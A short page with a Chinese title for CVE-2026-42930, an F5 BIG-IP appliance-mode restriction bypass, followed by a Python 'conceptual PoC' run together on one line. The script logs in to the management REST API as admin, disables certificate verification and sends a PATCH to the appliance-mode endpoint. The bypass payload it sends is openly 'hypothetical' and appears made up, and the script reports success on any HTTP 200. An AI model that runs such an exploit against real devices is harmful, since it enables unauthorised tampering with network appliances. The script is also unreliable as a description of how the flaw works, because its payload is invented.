CVE-2026-42930 F5 BIG-IP设备模式限制绕过漏洞

import requests # This is a conceptual PoC for CVE-2026-42930 # It demonstrates how an authenticated administrator might attempt to bypass Appliance mode restrictions. target_url = "https://<target-ip>/mgmt/tm/sys/appliance-mode" login_url = "https://<target-ip>/mgmt/shared/authn/login" username = "admin" password = "<password>" session = requests.Session() session.verify = False # Ignore SSL warnings for testing # Step 1: Authenticate payload = { "username": username, "password": password, "loginProviderName": "tmos" } try: resp = session.post(login_url, json=payload) token = resp.json().get('token').get('token') headers = {"X-F5-Auth-Token": token} print("[+] Authentication successful") except Exception as e: print(f"[-] Authentication failed: {e}") exit() # Step 2: Attempt to bypass Appliance Mode restrictions # In a vulnerable version, specific commands might be executable even if Appliance Mode is 'enabled' # This payload simulates checking or modifying a restricted setting. exploit_payload = { # Payload to bypass restriction (hypothetical based on vulnerability description) "command": "modify", "value": "bypassed" } try: # Sending request to restricted endpoint vuln_resp = session.patch(target_url, headers=headers, json=exploit_payload) if vuln_resp.status_code == 200: print("[!] Potential bypass successful! Restriction may have been circumvented.") print(f"Response: {vuln_resp.text}") else: print(f"[-] Request blocked or failed. Status: {vuln_resp.status_code}") except Exception as e: print(f"[-] Exploit attempt failed: {e}")